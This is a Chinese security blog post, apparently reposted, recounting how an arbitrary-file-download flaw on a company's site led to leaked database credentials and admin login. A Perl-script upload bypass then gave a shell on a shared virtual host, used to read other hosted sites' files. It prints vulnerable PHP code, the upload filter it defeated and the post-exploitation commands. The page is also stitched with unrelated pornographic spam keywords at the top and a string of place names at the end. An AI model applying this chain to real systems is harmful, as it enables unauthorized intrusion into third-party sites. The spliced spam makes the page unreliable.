最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

某集團(tuán)任意文件下載到虛擬主機(jī)getshell的方法

 更新時(shí)間:2017年01月21日 16:46:08   作者:1975  
這篇文章主要介紹了某集團(tuán)任意文件下載到虛擬主機(jī)getshell的方法,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下

0x01 前言 

從某群的故事改編而來(lái),都是些老套路各位看官看得高興就好;第一次在i春秋發(fā)帖有點(diǎn)緊張,如果有什么不周到的地方請(qǐng)去打死阿甫哥哥。你沒(méi)聽(tīng)錯(cuò),阿甫哥哥推薦。

 0x02 什么是任意文件下載

  說(shuō)到文件下載各位童鞋都不陌生(老司機(jī)請(qǐng)?zhí)^(guò)),我們要下載網(wǎng)站上某個(gè)文件(.zip、.doc、.pdf)直接請(qǐng)求這個(gè)文件即可格式一般為:域名+相對(duì)路徑+文件名,如http://www.test.com/downlad/test.zip。而在網(wǎng)站上下載文件一般分為兩種,一種就是剛才所說(shuō)的直接請(qǐng)求某個(gè)文件,還有一種就是網(wǎng)站運(yùn)營(yíng)者提供了一個(gè)下載腳我們只需要請(qǐng)求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。

  眾所周知,我們請(qǐng)求一個(gè)網(wǎng)站上的腳本文件(這里以php為例)是不會(huì)被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說(shuō)到的第二種情況了,網(wǎng)站運(yùn)營(yíng)者提供了http://www.test.com/download.php?filename=test.zip這樣一個(gè)連接本意是想訪(fǎng)問(wèn)者下載test.zip文件,但是沒(méi)有做好安全措施導(dǎo)致任意文件下載。 舉個(gè)栗子:

  測(cè)試環(huán)境(phpstudy):windows7+php-5.5.38+apache

  一個(gè)任意文件下載腳本test.php,代碼如下:

<?phpif(empty($_GET['filename']))
{ 
echo 'i春秋任意文件下載測(cè)試~'."<br>請(qǐng)輸入需要下載的文件名";
}
else
{  
$filename = $_GET['filename'];  
$fileinfo = pathinfo($filename); 
header('Content-type: application/x-'.$fileinfo['extension']); 
header('Content-Disposition: attachment; filename='.$fileinfo[' name']);  
header('Content-Length: '.filesize($filename));  
readfile($filename); 
exit(); }
?>

  直接訪(fǎng)問(wèn)該文件,文件并沒(méi)有被下載而是解析了其中的代碼   

在網(wǎng)站根目錄下新建一個(gè)文件夾inc并新建一個(gè)名為ichunqiu.php的文件   

現(xiàn)在來(lái)嘗試下載該文件,訪(fǎng)問(wèn):http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件 

0x03 某集團(tuán)任意文件下載

  之前挖某集團(tuán)的漏洞時(shí)發(fā)現(xiàn)一個(gè)任意文件下載,兩個(gè)思路:①下載源碼審計(jì)-發(fā)現(xiàn)漏洞-利用;②下載數(shù)據(jù)庫(kù)文件-如果支持外聯(lián)-登錄后臺(tái)-嘗試getshell,這里我選擇了第二種。

  首先下載了index.php文件,代碼如下:

<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); 
@header("Content-type: text/html; 
charset=utf-8"); 
InitGP(array("action","do","gid","id")); 
$smarty->assign("pagetag","about"); 
$smarty->assign("page ","index");
$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';
$sql="select * from $table_article where channel='1' and cat_id in(38,39)
order by show_style desc,art_addtime desc limit 6 ";
if($array=$DB->GetAll($sql)){ 
//print_r($row);  $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_    
=""; $seo_keywords  
=""; $seo_de ion 
=""; seo_print();//print_r($_COOKIE);
$smarty->assign("action",$action);
$tpl="cn/index.html";
$smarty->display($tpl);//print_r($GLOBALS);
?>

  第3行包含了/include/global.php文件,繼續(xù)下載global.php文件在第31-32行代碼發(fā)現(xiàn)包含了數(shù)據(jù)庫(kù)連接文件,如下:

<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>

  在config.php中找到數(shù)據(jù)庫(kù)連接信息:

<?php// data type$db_type = "mysqli";
// data host$db_host = "xx.xx.xx.com";
// data name$db_name = "dxxxm";
// data username$db_user = "dxxxm";
// data password$db_pass = 'cxxxp1xxx6'; 
$dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>

  站庫(kù)分離,百度site:xx.com“廈xxx有限公司”  

  再訪(fǎng)問(wèn)下http://www.xxx.com/這個(gè)域名,通過(guò)掃描微信后基本確認(rèn)“xx集團(tuán)”主站的數(shù)據(jù)庫(kù)是放在“xxx有限公司”的服務(wù)器上  

  繼續(xù),用navacat連接找到后臺(tái)用戶(hù)帳號(hào)密碼:

用戶(hù)名     密文         解密明文

axxxn        5xxx0

gxxxn        2xxxc        1xxxv 

0x04 虛擬主機(jī)getshell  

接著用gxxxn/1xxxv成功登錄某集團(tuán)官網(wǎng)后臺(tái):http://www.xxx.com/manage.php  

  在已發(fā)布文章里找了一處可以上傳圖片的,簡(jiǎn)單測(cè)試了下phtml、php、php%20、php%00之類(lèi)的后綴均不能繞過(guò),只好只好下載相關(guān)文件看代碼。

<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype)
{ 
global $config; 
if($_FILES[$uploadname]["name"])
{     
$dir_file=$uploaddir;  
if(!file_exists($dir_file)){   
mkdir($dir_file , 0777);    
chmod($dir_file,0777);   
}   
$filename=explode(".",$_FILES[$uploadname]['name']);   
do{    
$filename[0] = date('YmdHis').$uploadtype;   
$uploadfile = $dir_file.implode(".",$filename);  
} while(file_exists($uploadfile)); 
if(strpos($uploadfile,"php")>0)
{  
return 'no php';  
}   
copy($_FILES[$uploadname]['tmp_name'], $uploadfile); 
} 
return str_replace($config['siteRoot'], "", $uploadfile); } ...?>

  strpos($uploadfile,"php")只過(guò)濾了php文件,陷入困境又去官網(wǎng)翻了翻突然注意到一處404仔細(xì)一看” 2.0.9 Perl”還支持perl腳本?于是在后臺(tái)找了一處上傳圖片的地方直接上傳perl腳本,結(jié)果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢(shì)了~   

查看日志文件發(fā)現(xiàn)大量網(wǎng)站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts   

100+的網(wǎng)站,無(wú)意間getshell某公司的虛擬主機(jī)  

  任意讀取一網(wǎng)站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php  

  雖然當(dāng)前權(quán)限不能修改和寫(xiě)入,但是可跨目錄讀文件而這些網(wǎng)站的數(shù)據(jù)庫(kù)又支持外聯(lián),你懂的;

  本想試試臟牛提權(quán),但怕給打死了就草草提交了

 0x05 總結(jié)

① 精簡(jiǎn)下整個(gè)過(guò)程:任意文件下載-連接數(shù)據(jù)獲得帳號(hào)密碼-后臺(tái)上傳;

② 代碼這塊有點(diǎn)php基礎(chǔ)都能看懂,學(xué)個(gè)十天半個(gè)月就成;

③ 細(xì)心吧,看到錯(cuò)誤信息才想到支持perl腳本,不過(guò)一般也只有l(wèi)inux才會(huì)有;

以上所述是小編給大家介紹的某集團(tuán)任意文件下載到虛擬主機(jī)getshell的方法,希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

相關(guān)文章

  • 如何給k8s集群里的資源打標(biāo)簽

    如何給k8s集群里的資源打標(biāo)簽

    k8s集群,節(jié)點(diǎn)如果有多個(gè)角色,需要標(biāo)記出來(lái),可以給對(duì)應(yīng)的節(jié)點(diǎn)打上標(biāo)簽,方便后續(xù)了解節(jié)點(diǎn)的功能,這篇文章主要介紹了如何給k8s集群里的資源打標(biāo)簽,需要的朋友可以參考下
    2023-02-02
  • 在?k8s?中部署Jenkins的實(shí)踐指南(最新推薦)

    在?k8s?中部署Jenkins的實(shí)踐指南(最新推薦)

    本文介紹了在Kubernetes(K8s)中部署Jenkins的方法和步驟,包括準(zhǔn)備K8s集群、選擇Jenkins鏡像、創(chuàng)建存儲(chǔ)資源、賬號(hào)授權(quán)、部署Jenkins、創(chuàng)建Service以及訪(fǎng)問(wèn)測(cè)試,Jenkins在K8s中的部署可以實(shí)現(xiàn)動(dòng)態(tài)資源管理、提高可靠性和容錯(cuò)能力、快速響應(yīng)變化和統(tǒng)一環(huán)境等優(yōu)勢(shì)
    2025-03-03
  • 一文解析Kubernetes使用PVC后數(shù)據(jù)丟失

    一文解析Kubernetes使用PVC后數(shù)據(jù)丟失

    這篇文章主要為大家介紹了Kubernetes使用PVC后數(shù)據(jù)丟失原理解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-03-03
  • k8s中secret的用法詳解

    k8s中secret的用法詳解

    secret用于加密pod訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)的用戶(hù)憑證,這篇文章主要介紹了k8s中secret的用法詳解,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-04-04
  • 基于云服務(wù)MRS構(gòu)建DolphinScheduler2調(diào)度系統(tǒng)的案例詳解

    基于云服務(wù)MRS構(gòu)建DolphinScheduler2調(diào)度系統(tǒng)的案例詳解

    這篇文章主要介紹了基于云服務(wù)MRS構(gòu)建DolphinScheduler2調(diào)度系統(tǒng),本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-05-05
  • 如何在Centos中搭建 K8s 1.23 集群

    如何在Centos中搭建 K8s 1.23 集群

    文章詳細(xì)介紹了在CentOS上搭建Kubernetes 1.23集群的步驟,包括準(zhǔn)備環(huán)境、安裝Kubernetes軟件包、上傳離線(xiàn)鏡像、初始化集群、添加節(jié)點(diǎn)、安裝網(wǎng)絡(luò)插件以及測(cè)試驗(yàn)證,感興趣的朋友一起看看吧
    2025-03-03
  • k8s?clientConfig和rawConfig區(qū)別解析

    k8s?clientConfig和rawConfig區(qū)別解析

    k8s clientConfig和rawConfig區(qū)別k8s.io/client-gov0.28.2基于kubeconfig可以創(chuàng)建clientConfig和rawConfig,兩者區(qū)別在于,clientConfig包含了訪(fǎng)問(wèn)kube-apiserver的地址和認(rèn)證鑒權(quán)信息,感興趣的朋友一起看看吧
    2025-03-03
  • kubernetes(k8s)安裝metrics-server實(shí)現(xiàn)資源使用情況監(jiān)控方式詳解

    kubernetes(k8s)安裝metrics-server實(shí)現(xiàn)資源使用情況監(jiān)控方式詳解

    這篇文章主要介紹了kubernetes(k8s)安裝metrics-server實(shí)現(xiàn)資源使用情況監(jiān)控,包括Metrics?Server下載方式,?k8s集群安裝部署metrics的問(wèn)題,本文給大家介紹的非常詳細(xì),需要的朋友可以參考下
    2022-04-04
  • Hadoop 2.x與3.x 22點(diǎn)比較,Hadoop 3.x比2.x的改進(jìn)

    Hadoop 2.x與3.x 22點(diǎn)比較,Hadoop 3.x比2.x的改進(jìn)

    本文介紹了Hadoop3版本中添加的新功能,Hadoop 2和Hadoop 3的區(qū)別,在這篇文章中,我們將討論Hadoop 2.x與Hadoop 3.x之間的比較。感興趣的朋友跟隨小編一起看一下
    2018-09-09
  • k8s入門(mén)實(shí)戰(zhàn)deployment使用詳解

    k8s入門(mén)實(shí)戰(zhàn)deployment使用詳解

    這篇文章主要為大家介紹了k8s入門(mén)實(shí)戰(zhàn)deployment使用詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-03-03

最新評(píng)論

象州县| 东乌珠穆沁旗| 河曲县| 巴彦淖尔市| 天气| 大新县| 萨嘎县| 朝阳县| 大荔县| 尉氏县| 延津县| 衡南县| 汾西县| 阜康市| 无极县| 绵阳市| 双牌县| 台江县| 阿克苏市| 竹北市| 海门市| 安泽县| 大安市| 甘孜县| 诸城市| 黄山市| 巢湖市| 叶城县| 龙游县| 瑞金市| 新民市| 博客| 重庆市| 英超| 万荣县| 大连市| 北川| 景东| 兴安县| 伊金霍洛旗| 铅山县|